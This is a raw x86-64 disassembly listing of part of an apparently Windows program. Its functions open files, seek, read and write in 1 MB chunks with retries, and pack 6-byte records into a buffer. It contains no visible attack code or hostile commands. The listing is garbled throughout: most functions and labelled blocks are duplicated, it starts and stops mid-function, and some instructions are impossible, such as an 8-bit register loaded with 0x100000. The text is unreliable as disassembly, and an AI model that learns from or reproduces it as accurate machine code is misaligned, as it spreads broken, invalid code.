00443d6aadd ecx, 4
00443d6dmov ecx, ecx
00443d6fmov [rax+rcx], 0
00443d73mov rax, [rbp+168]
00443d7amov rax, [rax]
00443d7dmov rcx, [rbp+184]
00443d84mov ecx, [rcx]
00443d86add ecx, 5
00443d89mov ecx, ecx
00443d8bmov [rax+rcx], 0
00443d8fmov rax, [rbp+184]
00443d96add [rax], 6
00443d99jmp 0x444013
00443d9e
00443d9eloc_443d9e:
00443d9eadd bl, 1
00443da1mov rcx, [rbp+72]
00443da5mov rdx, [rbp+176]
00443daccall fn_4439c0
00443db1mov rcx, [rbp+192]
00443db8mov rdx, [rbp+160]
00443dbfmov r8, [rbp+72]
00443dc3mov r9, [rbp+200]
00443dcamov eax, [rbp+68]
00443dcdmov [rsp+32], eax
00443dd1mov rax, [rbp+208]
00443dd8mov [rsp+40], rax
00443dddcall fn_435c80
00443de2
00443de2loc_443de2:
00443de2mov rax, [rbp+192]
00443de9mov rax, [rax]
00443decmov rcx, [rbp+200]
00443df3mov rcx, [rcx]
00443df6movzx rax, [rax]
00443dfacmp al, [rcx]
00443dfcje 0x443ce3
00443e02mov [rbp+84], 0
00443e09mov rax, [rbp+48]
00443e0dmov rcx, [rax]
00443e10mov rdx, [rbp+56]
00443e14xor r8, r8
00443e17xor r9, r9
00443e1acall SetFilePointerEx
00443e1ftest al, al
00443e21je 0x443e4a
00443e23mov rax, [rbp+48]
00443e27mov rcx, [rax]
00443e2amov rax, [rbp+200]
00443e31mov rdx, [rax]
00443e34mov r8l, [rbp+68]
00443e38lea r9, [rbp+84]
00443e3cmov [rsp+32], 0
00443e45call WriteFile
00443e4a
00443e4aloc_443e4a:
00443e4acmp [rbp+84], 0
00443e4ejne 0x443f06
00443e54mov rax, [rbp+168]
00443e5bmov rax, [rax]
00443e5emov rcx, [rbp+184]
00443e65mov ecx, [rcx]
00443e67mov [rax+rcx], 0
00443e6bmov rax, [rbp+168]
00443e72mov rax, [rax]
00443e75mov rcx, [rbp+184]
00443e7cmov ecx, [rcx]
00443e7eadd ecx, 1
00443e81mov ecx, ecx
00443e83mov [rax+rcx], 0
00443e87mov rax, [rbp+168]
00443e8emov rax, [rax]
00443e91mov rcx, [rbp+184]
00443e98mov ecx, [rcx]
00443e9aadd ecx, 2
00443e9dmov ecx, ecx
00443e9fmov [rax+rcx], 0
00443ea3mov rax, [rbp+168]
00443eaamov rax, [rax]
00443eadmov rcx, [rbp+184]
00443eb4mov ecx, [rcx]
00443eb6add ecx, 3
00443eb9mov ecx, ecx
00443ebbmov [rax+rcx], 0
00443ebfmov rax, [rbp+168]
00443ec6mov rax, [rax]
00443ec9mov rcx, [rbp+184]
00443ed0mov ecx, [rcx]
00443ed2add ecx, 4
00443ed5mov ecx, ecx
00443ed7mov [rax+rcx], 0
00443edbmov rax, [rbp+168]
00443ee2mov rax, [rax]
00443ee5mov rcx, [rbp+184]
00443eecmov ecx, [rcx]
00443eeeadd ecx, 5
00443ef1mov ecx, ecx
00443ef3mov [rax+rcx], 0
00443ef7mov rax, [rbp+184]
00443efeadd [rax], 6
00443f01jmp 0x444013
00443f06
00443f06loc_443f06:
00443f06mov eax, [rbp+84]
00443f09mov [rbp+68], eax
00443f0clea rcx, [rbp+88]
00443f10mov edx, [rbp+68]
00443f13call fn_430990
00443f18mov rax, [rbp+168]
00443f1fmov rax, [rax]
00443f22mov rcx, [rbp+184]
00443f29mov ecx, [rcx]
00443f2bmov rdx, [rbp+192]
00443f32mov rdx, [rdx]
00443f35movzx rdx, [rdx]
00443f39mov [rax+rcx], dl
00443f3cmov rax, [rbp+168]
00443f43mov rax, [rax]
00443f46mov rcx, [rbp+184]
00443f4dmov ecx, [rcx]
00443f4fadd ecx, 1
00443f52mov ecx, ecx
00443f54mov rdx, [rbp+192]
00443f5bmov rdx, [rdx]
00443f5emov r8l, [rbp+68]
00443f62sub r8l, 1
00443f66mov r8l, r8l
00443f69movzx rdx, [rdx+r8]
00443f6emov [rax+rcx], dl
00443f71mov rax, [rbp+168]
00443f78mov rax, [rax]
00443f7bmov rcx, [rbp+184]
00443f82mov ecx, [rcx]
00443f84add ecx, 2
00443f87mov ecx, ecx
00443f89mov [rax+rcx], bl
00443f8cmov rax, [rbp+168]
00443f93mov rax, [rax]
00443f96mov rcx, [rbp+184]
00443f9dmov ecx, [rcx]
00443f9fadd ecx, 3
00443fa2mov ecx, ecx
00443fa4mov rdx, [rbp+88]
00443fa8movzx rdx, [rdx+1]
00443fadmov [rax+rcx], dl
00443fb0mov rax, [rbp+168]
00443fb7mov rax, [rax]
00443fbamov rcx, [rbp+184]
00443fc1mov ecx, [rcx]
00443fc3add ecx, 4
00443fc6mov ecx, ecx
00443fc8mov rdx, [rbp+88]
00443fccmovzx rdx, [rdx+2]
00443fd1mov [rax+rcx], dl
00443fd4mov rax, [rbp+168]
00443fdbmov rax, [rax]
00443fdemov rcx, [rbp+184]
00443fe5mov ecx, [rcx]
00443fe7add ecx, 5
00443feamov ecx, ecx
00443fecmov rdx, [rbp+88]
00443ff0movzx rdx, [rdx+3]
00443ff5mov [rax+rcx], dl
00443ff8mov rax, [rbp+184]
00443fffadd [rax], 6
00444002lea rcx, [rbp+88]
00444006mov rdx, [rip-0x151ed]
0044400dcall fn_410600
00444012nop
00444013
00444013loc_444013:
00444013lea rcx, [rbp+88]
00444017mov rdx, [rip-0x151fe]
0044401ecall fn_410600
00444023lea rsp, [rbp+104]
00444027pop rbx
00444028pop rbp
00444029ret
00443b40
00443b40fn_443b40:
00443b40push rbp
00443b41push rbx
00443b42sub rsp, 104
00443b46mov rbp, rsp
00443b49mov [rbp+48], rcx
00443b4dmov [rbp+56], rdx
00443b51mov [rbp+68], r8l
00443b55mov [rbp+72], r9
00443b59mov [rbp+88], 0
00443b61nop
00443b62mov rax, [rbp+192]
00443b69mov rcx, [rax]
00443b6cmov edx, [rbp+68]
00443b6fmov edx, edx
00443b71xor r8, r8
00443b74call fn_4069b0
00443b79mov [rbp+84], 0
00443b80mov rax, [rbp+48]
00443b84mov rcx, [rax]
00443b87mov rdx, [rbp+56]
00443b8bxor r8, r8
00443b8exor r9, r9
00443b91call SetFilePointerEx
00443b96test al, al
00443b98je 0x443bc1
00443b9amov rax, [rbp+48]
00443b9emov rcx, [rax]
00443ba1mov rax, [rbp+192]
00443ba8mov rdx, [rax]
00443babmov r8l, [rbp+68]
00443baflea r9, [rbp+84]
00443bb3mov [rsp+32], 0
00443bbccall ReadFile
00443bc1
00443bc1loc_443bc1:
00443bc1mov eax, [rbp+84]
00443bc4sub eax, 1
00443bc7jmp 0x443bcc
00443bc9
00443bc9loc_443bc9:
00443bc9sub eax, 1
00443bcc
00443bccloc_443bcc:
00443bcctest eax, eax
00443bcejl 0x443be3
00443bd0mov rcx, [rbp+192]
00443bd7mov rcx, [rcx]
00443bdamovsxd rdx, eax
00443bddcmp [rcx+rdx], 0
00443be1je 0x443bc9
00443be3
00443be3loc_443be3:
00443be3add eax, 1
00443be6mov [rbp+84], eax
00443be9cmp [rbp+84], 0
00443bedjne 0x443ca5
00443bf3mov rax, [rbp+168]
00443bfamov rax, [rax]
00443bfdmov rcx, [rbp+184]
00443c04mov ecx, [rcx]
00443c06mov [rax+rcx], 0
00443c0amov rax, [rbp+168]
00443c11mov rax, [rax]
00443c14mov rcx, [rbp+184]
00443c1bmov ecx, [rcx]
00443c1dadd ecx, 1
00443c20mov ecx, ecx
00443c22mov [rax+rcx], 0
00443c26mov rax, [rbp+168]
00443c2dmov rax, [rax]
00443c30mov rcx, [rbp+184]
00443c37mov ecx, [rcx]
00443c39add ecx, 2
00443c3cmov ecx, ecx
00443c3emov [rax+rcx], 0
00443c42mov rax, [rbp+168]
00443c49mov rax, [rax]
00443c4cmov rcx, [rbp+184]
00443c53mov ecx, [rcx]
00443c55add ecx, 3
00443c58mov ecx, ecx
00443c5amov [rax+rcx], 0
00443c5emov rax, [rbp+168]
00443c65mov rax, [rax]
00443c68mov rcx, [rbp+184]
00443c6fmov ecx, [rcx]
00443c71add ecx, 4
00443c74mov ecx, ecx
00443c76mov [rax+rcx], 0
00443c7amov rax, [rbp+168]
00443c81mov rax, [rax]
00443c84mov rcx, [rbp+184]
00443c8bmov ecx, [rcx]
00443c8dadd ecx, 5
00443c90mov ecx, ecx
00443c92mov [rax+rcx], 0
00443c96mov rax, [rbp+184]
00443c9dadd [rax], 6
00443ca0jmp 0x444013
00443ca5
00443ca5loc_443ca5:
00443ca5mov eax, [rbp+84]
00443ca8mov [rbp+68], eax
00443cabxor ebx, ebx
00443cadmov rcx, [rbp+192]
00443cb4mov rdx, [rbp+160]
00443cbbmov r8, [rbp+72]
00443cbfmov r9, [rbp+200]
00443cc6mov eax, [rbp+68]
00443cc9mov [rsp+32], eax
00443ccdmov rax, [rbp+208]
00443cd4mov [rsp+40], rax
00443cd9call fn_435c80
00443cdejmp 0x443de2
00443ce3
00443ce3loc_443ce3:
00443ce3cmp bl, -1
00443ce6jne 0x443d9e
00443cecmov rax, [rbp+168]
00443cf3mov rax, [rax]
00443cf6mov rcx, [rbp+184]
00443cfdmov ecx, [rcx]
00443cffmov [rax+rcx], 0
00443d03mov rax, [rbp+168]
00443d0amov rax, [rax]
00443d0dmov rcx, [rbp+184]
00443d14mov ecx, [rcx]
00443d16add ecx, 1
00443d19mov ecx, ecx
00443d1bmov [rax+rcx], 0
00443d1fmov rax, [rbp+168]
00443d26mov rax, [rax]
00443d29mov rcx, [rbp+184]
00443d30mov ecx, [rcx]
00443d32add ecx, 2
00443d35mov ecx, ecx
00443d37mov [rax+rcx], 0
00443d3bmov rax, [rbp+168]
00443d42mov rax, [rax]
00443d45mov rcx, [rbp+184]
00443d4cmov ecx, [rcx]
00443d4eadd ecx, 3
00443d51mov ecx, ecx
00443d53mov [rax+rcx], 0
00443d57mov rax, [rbp+168]
00443d5emov rax, [rax]
00443d61mov rcx, [rbp+184]
00443d68mov ecx, [rcx]
00443d6aadd ecx, 4
00443d6dmov ecx, ecx
00443d6fmov [rax+rcx], 0
00443d73mov rax, [rbp+168]
00443d7amov rax, [rax]
00443d7dmov rcx, [rbp+184]
00443d84mov ecx, [rcx]
00443d86add ecx, 5
00443d89mov ecx, ecx
00443d8bmov [rax+rcx], 0
00443d8fmov rax, [rbp+184]
00443d96add [rax], 6
00443d99jmp 0x444013
00443d9e
00443d9eloc_443d9e:
00443d9eadd bl, 1
00443da1mov rcx, [rbp+72]
00443da5mov rdx, [rbp+176]
00443daccall fn_4439c0
00443db1mov rcx, [rbp+192]
00443db8mov rdx, [rbp+160]
00443dbfmov r8, [rbp+72]
00443dc3mov r9, [rbp+200]
00443dcamov eax, [rbp+68]
00443dcdmov [rsp+32], eax
00443dd1mov rax, [rbp+208]
00443dd8mov [rsp+40], rax
00443dddcall fn_435c80
00443de2
00443de2loc_443de2:
00443de2mov rax, [rbp+192]
00443de9mov rax, [rax]
00443decmov rcx, [rbp+200]
00443df3mov rcx, [rcx]
00443df6movzx rax, [rax]
00443dfacmp al, [rcx]
00443dfcje 0x443ce3
00443e02mov [rbp+84], 0
00443e09mov rax, [rbp+48]
00443e0dmov rcx, [rax]
00443e10mov rdx, [rbp+56]
00443e14xor r8, r8
00443e17xor r9, r9
00443e1acall SetFilePointerEx
00443e1ftest al, al
00443e21je 0x443e4a
00443e23mov rax, [rbp+48]
00443e27mov rcx, [rax]
00443e2amov rax, [rbp+200]
00443e31mov rdx, [rax]
00443e34mov r8l, [rbp+68]
00443e38lea r9, [rbp+84]
00443e3cmov [rsp+32], 0
00443e45call WriteFile
00443e4a
00443e4aloc_443e4a:
00443e4acmp [rbp+84], 0
00443e4ejne 0x443f06
00443e54mov rax, [rbp+168]
00443e5bmov rax, [rax]
00443e5emov rcx, [rbp+184]
00443e65mov ecx, [rcx]
00443e67mov [rax+rcx], 0
00443e6bmov rax, [rbp+168]
00443e72mov rax, [rax]
00443e75mov rcx, [rbp+184]
00443e7cmov ecx, [rcx]
00443e7eadd ecx, 1
00443e81mov ecx, ecx
00443e83mov [rax+rcx], 0
00443e87mov rax, [rbp+168]
00443e8emov rax, [rax]
00443e91mov rcx, [rbp+184]
00443e98mov ecx, [rcx]
00443e9aadd ecx, 2
00443e9dmov ecx, ecx
00443e9fmov [rax+rcx], 0
00443ea3mov rax, [rbp+168]
00443eaamov rax, [rax]
00443eadmov rcx, [rbp+184]
00443eb4mov ecx, [rcx]
00443eb6add ecx, 3
00443eb9mov ecx, ecx
00443ebbmov [rax+rcx], 0
00443ebfmov rax, [rbp+168]
00443ec6mov rax, [rax]
00443ec9mov rcx, [rbp+184]
00443ed0mov ecx, [rcx]
00443ed2add ecx, 4
00443ed5mov ecx, ecx
00443ed7mov [rax+rcx], 0
00443edbmov rax, [rbp+168]
00443ee2mov rax, [rax]
00443ee5mov rcx, [rbp+184]
00443eecmov ecx, [rcx]
00443eeeadd ecx, 5
00443ef1mov ecx, ecx
00443ef3mov [rax+rcx], 0
00443ef7mov rax, [rbp+184]
00443efeadd [rax], 6
00443f01jmp 0x444013
00443f06
00443f06loc_443f06:
00443f06mov eax, [rbp+84]
00443f09mov [rbp+68], eax
00443f0clea rcx, [rbp+88]
00443f10mov edx, [rbp+68]
00443f13call fn_430990
00443f18mov rax, [rbp+168]
00443f1fmov rax, [rax]
00443f22mov rcx, [rbp+184]
00443f29mov ecx, [rcx]
00443f2bmov rdx, [rbp+192]
00443f32mov rdx, [rdx]
00443f35movzx rdx, [rdx]
00443f39mov [rax+rcx], dl
00443f3cmov rax, [rbp+168]
00443f43mov rax, [rax]
00443f46mov rcx, [rbp+184]
00443f4dmov ecx, [rcx]
00443f4fadd ecx, 1
00443f52mov ecx, ecx
00443f54mov rdx, [rbp+192]
00443f5bmov rdx, [rdx]
00443f5emov r8l, [rbp+68]
00443f62sub r8l, 1
00443f66mov r8l, r8l
00443f69movzx rdx, [rdx+r8]
00443f6emov [rax+rcx], dl
00443f71mov rax, [rbp+168]
00443f78mov rax, [rax]
00443f7bmov rcx, [rbp+184]
00443f82mov ecx, [rcx]
00443f84add ecx, 2
00443f87mov ecx, ecx
00443f89mov [rax+rcx], bl
00443f8cmov rax, [rbp+168]
00443f93mov rax, [rax]
00443f96mov rcx, [rbp+184]
00443f9dmov ecx, [rcx]
00443f9fadd ecx, 3
00443fa2mov ecx, ecx
00443fa4mov rdx, [rbp+88]
00443fa8movzx rdx, [rdx+1]
00443fadmov [rax+rcx], dl
00443fb0mov rax, [rbp+168]
00443fb7mov rax, [rax]
00443fbamov rcx, [rbp+184]
00443fc1mov ecx, [rcx]
00443fc3add ecx, 4
00443fc6mov ecx, ecx
00443fc8mov rdx, [rbp+88]
00443fccmovzx rdx, [rdx+2]
00443fd1mov [rax+rcx], dl
00443fd4mov rax, [rbp+168]
00443fdbmov rax, [rax]
00443fdemov rcx, [rbp+184]
00443fe5mov ecx, [rcx]
00443fe7add ecx, 5
00443feamov ecx, ecx
00443fecmov rdx, [rbp+88]
00443ff0movzx rdx, [rdx+3]
00443ff5mov [rax+rcx], dl
00443ff8mov rax, [rbp+184]
00443fffadd [rax], 6
00444002lea rcx, [rbp+88]
00444006mov rdx, [rip-0x151ed]
0044400dcall fn_410600
00444012nop
00444013
00444013loc_444013:
00444013lea rcx, [rbp+88]
00444017mov rdx, [rip-0x151fe]
0044401ecall fn_410600
00444023lea rsp, [rbp+104]
00444027pop rbx
00444028pop rbp
00444029ret
00443b40
0044402a
0044402a 64 48 8d 44 20 00 dH.D .
0044402a 64 48 8d 44 20 00 dH.D .
00444030
00444030fn_444030:
00444030push rbp
00444031sub rsp, 32
00444035mov rbp, rsp
00444038lea rcx, [rdx+88]
0044403cmov rdx, [rip-0x15223]
00444043call fn_410600
00444048lea rsp, [rbp+32]
0044404cpop rbp
0044404dret
00444030
00444030fn_444030:
00444030push rbp
00444031sub rsp, 32
00444035mov rbp, rsp
00444038lea rcx, [rdx+88]
0044403cmov rdx, [rip-0x15223]
00444043call fn_410600
00444048lea rsp, [rbp+32]
0044404cpop rbp
0044404dret
00444030
0044404e
0044404e // align 0x10
0044404e // align 0x10
00444050
00444050fn_444050:
00444050push rbp
00444051push r13
00444053push rdi
00444054push rsi
00444055push rbx
00444056add rsp, -128
0044405amov rbp, rsp
0044405dmov [rbp+96], rcx
00444061mov [rbp+104], rdx
00444065mov rbx, r8
00444068mov rsi, r9
0044406bmov [rbp+124], 0
00444072xor edi, edi
00444074mov r13l, 0x100000
0044407ajmp 0x44411c
0044407f
0044407floc_44407f:
0044407fmov rax, [rip+0x1ff3a]
00444086cmp [rax+308], 0
0044408dje 0x444096
0044408fmov cl, 1
00444091call fn_438b00
00444096
00444096loc_444096:
00444096mov rax, [rbp+104]
0044409asub rax, rdi
0044409dcmp rax, 0x100000
004440a4jge 0x4440ad
004440a6mov r13, [rbp+104]
004440aasub r13l, edi
004440ad
004440adloc_4440ad:
004440admov rcx, [rbp+96]
004440b1mov rdx, rdi
004440b4mov r8l, r13l
004440b7mov r9, rbx
004440bamov [rsp+32], rsi
004440bfmov rax, [rbp+208]
004440c6mov [rsp+40], rax
004440cblea rax, [rbp+124]
004440cfmov [rsp+48], rax
004440d4mov rax, [rbp+216]
004440dbmov [rsp+56], rax
004440e0mov rax, [rbp+224]
004440e7mov [rsp+64], rax
004440ecmov rax, [rbp+232]
004440f3mov [rsp+72], rax
004440f8mov rax, [rbp+240]
004440ffmov [rsp+80], rax
00444104call fn_443b40
00444109mov rcx, rbx
0044410clea rdx, [rbp+124]
00444110call fn_4439c0
00444115add rdi, 0x100000
0044411c
0044411cloc_44411c:
0044411cmov rax, [rbp+104]
00444120cmp rdi, rax
00444123jl 0x44407f
00444129lea rsp, [rbp+128]
00444130pop rbx
00444131pop rsi
00444132pop rdi
00444133pop r13
00444135pop rbp
00444136ret
00444050
00444050fn_444050:
00444050push rbp
00444051push r13
00444053push rdi
00444054push rsi
00444055push rbx
00444056add rsp, -128
0044405amov rbp, rsp
0044405dmov [rbp+96], rcx
00444061mov [rbp+104], rdx
00444065mov rbx, r8
00444068mov rsi, r9
0044406bmov [rbp+124], 0
00444072xor edi, edi
00444074mov r13l, 0x100000
0044407ajmp 0x44411c
0044407f
0044407floc_44407f:
0044407fmov rax, [rip+0x1ff3a]
00444086cmp [rax+308], 0
0044408dje 0x444096
0044408fmov cl, 1
00444091call fn_438b00
00444096
00444096loc_444096:
00444096mov rax, [rbp+104]
0044409asub rax, rdi
0044409dcmp rax, 0x100000
004440a4jge 0x4440ad
004440a6mov r13, [rbp+104]
004440aasub r13l, edi
004440ad
004440adloc_4440ad:
004440admov rcx, [rbp+96]
004440b1mov rdx, rdi
004440b4mov r8l, r13l
004440b7mov r9, rbx
004440bamov [rsp+32], rsi
004440bfmov rax, [rbp+208]
004440c6mov [rsp+40], rax
004440cblea rax, [rbp+124]
004440cfmov [rsp+48], rax
004440d4mov rax, [rbp+216]
004440dbmov [rsp+56], rax
004440e0mov rax, [rbp+224]
004440e7mov [rsp+64], rax
004440ecmov rax, [rbp+232]
004440f3mov [rsp+72], rax
004440f8mov rax, [rbp+240]
004440ffmov [rsp+80], rax
00444104call fn_443b40
00444109mov rcx, rbx
0044410clea rdx, [rbp+124]
00444110call fn_4439c0
00444115add rdi, 0x100000
0044411c
0044411cloc_44411c:
0044411cmov rax, [rbp+104]
00444120cmp rdi, rax
00444123jl 0x44407f
00444129lea rsp, [rbp+128]
00444130pop rbx
00444131pop rsi
00444132pop rdi
00444133pop r13
00444135pop rbp
00444136ret
00444050
00444137
00444137 // align 0x10
00444137 // align 0x10
00444140
00444140fn_444140:
00444140push rbp
00444141push r13
00444143push rdi
00444144push rsi
00444145push rbx
00444146sub rsp, 144
0044414dmov rbp, rsp
00444150mov [rbp+104], rcx
00444154mov [rbp+112], rdx
00444158mov [rbp+120], r8
0044415cmov rbx, r9
0044415fmov [rbp+140], 0
00444169xor esi, esi
0044416bmov edi, [rbp+240]
00444171jmp 0x444225
00444176
00444176loc_444176:
00444176mov rax, [rip+0x1fe43]
0044417dcmp [rax+308], 0
00444184je 0x44418d
00444186mov cl, 1
00444188call fn_438b00
0044418d
0044418dloc_44418d:
0044418dmov r13l, [rbp+240]
00444194mov rax, [rbp+112]
00444198sub rax, rsi
0044419bcmp rax, r13
0044419ejge 0x4441a6
004441a0mov rdi, [rbp+112]
004441a4sub edi, esi
004441a6
004441a6loc_4441a6:
004441a6mov rcx, [rbp+104]
004441aamov rdx, rsi
004441admov r8l, edi
004441b0mov r9, [rbp+120]
004441b4mov [rsp+32], rbx
004441b9mov rax, [rbp+224]
004441c0mov [rsp+40], rax
004441c5lea rax, [rbp+140]
004441ccmov [rsp+48], rax
004441d1mov rax, [rbp+232]
004441d8mov [rsp+56], rax
004441ddmov rax, [rbp+256]
004441e4mov [rsp+64], rax
004441e9mov rax, [rbp+264]
004441f0mov [rsp+72], rax
004441f5mov rax, [rbp+272]
004441fcmov [rsp+80], rax
00444201call fn_443b40
00444206mov rcx, [rbp+120]
0044420alea rdx, [rbp+140]
00444211call fn_4439c0
00444216mov rax, [rbp+248]
0044421dlea rax, [rsi+rax]
00444221lea rsi, [rax+r13]
00444225
00444225loc_444225:
00444225mov rax, [rbp+112]
00444229cmp rsi, rax
0044422cjl 0x444176
00444232lea rsp, [rbp+144]
00444239pop rbx
0044423apop rsi
0044423bpop rdi
0044423cpop r13
0044423epop rbp
0044423fret
00444140
00444140fn_444140:
00444140push rbp
00444141push r13
00444143push rdi
00444144push rsi
00444145push rbx
00444146sub rsp, 144
0044414dmov rbp, rsp
00444150mov [rbp+104], rcx
00444154mov [rbp+112], rdx
00444158mov [rbp+120], r8
0044415cmov rbx, r9
0044415fmov [rbp+140], 0
00444169xor esi, esi
0044416bmov edi, [rbp+240]
00444171jmp 0x444225
00444176
00444176loc_444176:
00444176mov rax, [rip+0x1fe43]
0044417dcmp [rax+308], 0
00444184je 0x44418d
00444186mov cl, 1
00444188call fn_438b00
0044418d
0044418dloc_44418d:
0044418dmov r13l, [rbp+240]
00444194mov rax, [rbp+112]
00444198sub rax, rsi
0044419bcmp rax, r13
0044419ejge 0x4441a6
004441a0mov rdi, [rbp+112]
004441a4sub edi, esi
004441a6
004441a6loc_4441a6:
004441a6mov rcx, [rbp+104]
004441aamov rdx, rsi
004441admov r8l, edi
004441b0mov r9, [rbp+120]
004441b4mov [rsp+32], rbx
004441b9mov rax, [rbp+224]
004441c0mov [rsp+40], rax
004441c5lea rax, [rbp+140]
004441ccmov [rsp+48], rax
004441d1mov rax, [rbp+232]
004441d8mov [rsp+56], rax
004441ddmov rax, [rbp+256]
004441e4mov [rsp+64], rax
004441e9mov rax, [rbp+264]
004441f0mov [rsp+72], rax
004441f5mov rax, [rbp+272]
004441fcmov [rsp+80], rax
00444201call fn_443b40
00444206mov rcx, [rbp+120]
0044420alea rdx, [rbp+140]
00444211call fn_4439c0
00444216mov rax, [rbp+248]
0044421dlea rax, [rsi+rax]
00444221lea rsi, [rax+r13]
00444225
00444225loc_444225:
00444225mov rax, [rbp+112]
00444229cmp rsi, rax
0044422cjl 0x444176
00444232lea rsp, [rbp+144]
00444239pop rbx
0044423apop rsi
0044423bpop rdi
0044423cpop r13
0044423epop rbp
0044423fret
00444140
00444240
00444240fn_444240:
00444240push rbp
00444241push r13
00444243push rdi
00444244push rsi
00444245push rbx
00444246sub rsp, 112
0044424amov rbp, rsp
0044424dmov rbx, rcx
00444250mov rsi, rdx
00444253mov rdi, r8
00444256mov r13, r9
00444259mov [rbp+108], 0
00444260mov rax, [rip+0x1fd59]
00444267cmp [rax+308], 0
0044426eje 0x444277
00444270mov cl, 1
00444272call fn_438b00
00444277
00444277loc_444277:
00444277mov rcx, rbx
0044427axor edx, edx
0044427cmov r8l, 0x80000
00444282mov r9, rsi
00444285mov [rsp+32], rdi
0044428amov [rsp+40], r13
0044428flea rax, [rbp+108]
00444293mov [rsp+48], rax
00444298mov rax, [rbp+192]
0044429fmov [rsp+56], rax
004442a4mov rax, [rbp+200]
004442abmov [rsp+64], rax
004442b0mov rax, [rbp+208]
004442b7mov [rsp+72], rax
004442bcmov rax, [rbp+216]
004442c3mov [rsp+80], rax
004442c8call fn_443b40
004442cdlea rsp, [rbp+112]
004442d1pop rbx
004442d2pop rsi
004442d3pop rdi
004442d4pop r13
004442d6pop rbp
004442d7ret
00444240
00444240fn_444240:
00444240push rbp
00444241push r13
00444243push rdi
00444244push rsi
00444245push rbx
00444246sub rsp, 112
0044424amov rbp, rsp
0044424dmov rbx, rcx
00444250mov rsi, rdx
00444253mov rdi, r8
00444256mov r13, r9
00444259mov [rbp+108], 0
00444260mov rax, [rip+0x1fd59]
00444267cmp [rax+308], 0
0044426eje 0x444277
00444270mov cl, 1
00444272call fn_438b00
00444277
00444277loc_444277:
00444277mov rcx, rbx
0044427axor edx, edx
0044427cmov r8l, 0x80000
00444282mov r9, rsi
00444285mov [rsp+32], rdi
0044428amov [rsp+40], r13
0044428flea rax, [rbp+108]
00444293mov [rsp+48], rax
00444298mov rax, [rbp+192]
0044429fmov [rsp+56], rax
004442a4mov rax, [rbp+200]
004442abmov [rsp+64], rax
004442b0mov rax, [rbp+208]
004442b7mov [rsp+72], rax
004442bcmov rax, [rbp+216]
004442c3mov [rsp+80], rax
004442c8call fn_443b40
004442cdlea rsp, [rbp+112]
004442d1pop rbx
004442d2pop rsi
004442d3pop rdi
004442d4pop r13
004442d6pop rbp
004442d7ret
00444240
004442d8
004442d8 // align 0x10
004442d8 // align 0x10
004442e0
004442e0fn_4442e0:
004442e0push rbp
004442e1push rbx
004442e2sub rsp, 152
004442e9mov rbp, rsp
004442ecmov [rbp+72], rcx
004442f0mov [rbp+80], rdx
004442f4mov [rbp+92], r8l
004442f8mov [rbp+96], r9
004442fcmov [rbp+112], 0
00444304mov [rbp+120], 0
0044430cmov rax, [rbp+208]
00444313mov [rbp+208], rax
0044431alea rcx, [rbp+208]
00444321call fn_40bf00
00444326nop
00444327mov al, 1
00444329mov [rbp+111], al
0044432cmov bl, 1
0044432e
0044432eloc_44432e:
0044432emov rax, [rbp+72]
00444332cmp [rax], -1
00444336jne 0x444393
00444338mov ecx, 100
0044433dcall Sleep
00444342lea rcx, [rbp+120]
00444346mov rdx, [rbp+208]
0044434dcall fn_42f780
00444352mov rcx, [rbp+120]
00444356call fn_40d180
0044435bmov rcx, rax
0044435emov edx, 0xffffffffc0000000
00444363xor r8, r8
00444366xor r9, r9
00444369mov [rsp+32], 3
00444371mov [rsp+40], 128
00444379mov [rsp+48], 0
00444382call CreateFileW
00444387mov rcx, [rbp+72]
0044438bmov [rcx], rax
0044438ejmp 0x44444f
00444393
00444393loc_444393:
00444393mov [rbp+140], 0
0044439dmov rax, [rbp+72]
004443a1mov rcx, [rax]
004443a4mov rdx, [rbp+80]
004443a8xor r8, r8
004443abxor r9, r9
004443aecall SetFilePointerEx
004443b3test al, al
004443b5je 0x4443ed
004443b7mov rax, [rbp+72]
004443bbmov rcx, [rax]
004443bemov rax, [rbp+96]
004443c2mov rdx, [rax]
004443c5mov r8l, [rbp+92]
004443c9lea r9, [rbp+140]
004443d0mov [rsp+32], 0
004443d9call WriteFile
004443detest eax, eax
004443e0je 0x4443ed
004443e2mov eax, [rbp+92]
004443e5cmp [rbp+140], eax
004443ebje 0x444462
004443ed
004443edloc_4443ed:
004443edmov rax, [rbp+72]
004443f1mov rcx, [rax]
004443f4call CloseHandle
004443f9mov ecx, 100
004443fecall Sleep
00444403lea rcx, [rbp+112]
00444407mov rdx, [rbp+208]
0044440ecall fn_42f780
00444413mov rcx, [rbp+112]
00444417call fn_40d180
0044441cmov rcx, rax
0044441fmov edx, 0xffffffffc0000000
00444424xor r8, r8
00444427xor r9, r9
0044442amov [rsp+32], 3
00444432mov [rsp+40], 128
0044443amov [rsp+48], 0
00444443call CreateFileW
00444448mov rcx, [rbp+72]
0044444cmov [rcx], rax
0044444f
0044444floc_44444f:
0044444fadd bl, 1
00444452cmp bl, 11
00444455jne 0x44432e
0044445bnop
0044445cxor eax, eax
0044445emov [rbp+111], al
00444461nop
00444462
00444462loc_444462:
00444462lea rcx, [rbp+112]
00444466mov edx, 2
0044446bcall fn_40be70
00444470lea rcx, [rbp+208]
00444477call fn_40bd90
0044447cmovzx rax, [rbp+111]
00444481lea rsp, [rbp+152]
00444488pop rbx
00444489pop rbp
0044448aret
004442e0
004442e0fn_4442e0:
004442e0push rbp
004442e1push rbx
004442e2sub rsp, 152
004442e9mov rbp, rsp
004442ecmov [rbp+72], rcx
004442f0mov [rbp+80], rdx
004442f4mov [rbp+92], r8l
004442f8mov [rbp+96], r9
004442fcmov [rbp+112], 0
00444304mov [rbp+120], 0
0044430cmov rax, [rbp+208]
00444313mov [rbp+208], rax
0044431alea rcx, [rbp+208]
00444321call fn_40bf00
00444326nop
00444327mov al, 1
00444329mov [rbp+111], al
0044432cmov bl, 1
0044432e
0044432eloc_44432e:
0044432emov rax, [rbp+72]
00444332cmp [rax], -1
00444336jne 0x444393
00444338mov ecx, 100
0044433dcall Sleep
00444342lea rcx, [rbp+120]
00444346mov rdx, [rbp+208]
0044434dcall fn_42f780
00444352mov rcx, [rbp+120]
00444356call fn_40d180
0044435bmov rcx, rax
0044435emov edx, 0xffffffffc0000000
00444363xor r8, r8
00444366xor r9, r9
00444369mov [rsp+32], 3
00444371mov [rsp+40], 128
00444379mov [rsp+48], 0
00444382call CreateFileW
00444387mov rcx, [rbp+72]
0044438bmov [rcx], rax
0044438ejmp 0x44444f
00444393
00444393loc_444393:
00444393mov [rbp+140], 0
0044439dmov rax, [rbp+72]
004443a1mov rcx, [rax]
004443a4mov rdx, [rbp+80]
004443a8xor r8, r8
004443abxor r9, r9
004443aecall SetFilePointerEx
004443b3test al, al
